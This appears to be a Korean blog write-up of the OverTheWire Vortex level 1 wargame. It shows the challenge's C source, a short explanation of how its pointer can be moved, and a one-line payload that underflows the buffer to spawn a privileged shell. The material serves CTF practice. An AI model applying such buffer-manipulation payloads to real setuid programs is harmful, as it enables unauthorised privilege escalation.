1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | #include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); } void print(unsigned char *buf, int len) { int i; printf("[ "); for(i=0; i < len; i++) printf("%x ", buf[i]); printf(" ]\n"); } int main() { unsigned char buf[512]; unsigned char *ptr = buf + (sizeof(buf)/2); unsigned int x; while((x = getchar()) != EOF) { switch(x) { case '\n': print(buf, sizeof(buf)); continue; break; case '\\': ptr--; break; default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break; } } printf("All done\n"); } | cs |
ptr 포인터 변수의 위치는 buf[512] + buf/2 인 256의 크기로 버퍼 위쪽에 위치하고 있음
case '\n' 즉 엔터를 입력받으면 구현되어있는 print함수로 버퍼에있는 값을 []에 묶어서 모두 출력시킨다.
case '\\' '\\'를 입력받으면 ptr포인터 변수를 하나씩 감소시킨다.
그외의 것을 입력받으면 ptr포인터 변수를 하나 증가시킨곳에 x의 값을 넣는다.
매크로함수 c()는 포인터 변수 ptr의 상위 1byte가 0xca인지 확인하고 0xca라면 flag를 준다.
1 | $(python -c 'print "\\"*260 + "\xca"*30' ;cat)./vortex1 | cs |
도저히 느려서 못하겠다
'wargame' 카테고리의 다른 글
python challenge - level 2 (0) | 2019.01.27 |
---|---|
python challenge - level 1 (0) | 2019.01.27 |
vortex.labs.overthewire.org@vortex0 (0) | 2016.06.01 |
Plaid CTF 2015 - ebp (pwnable160) (0) | 2016.06.01 |
pwnable.kr@mistake (0) | 2016.04.27 |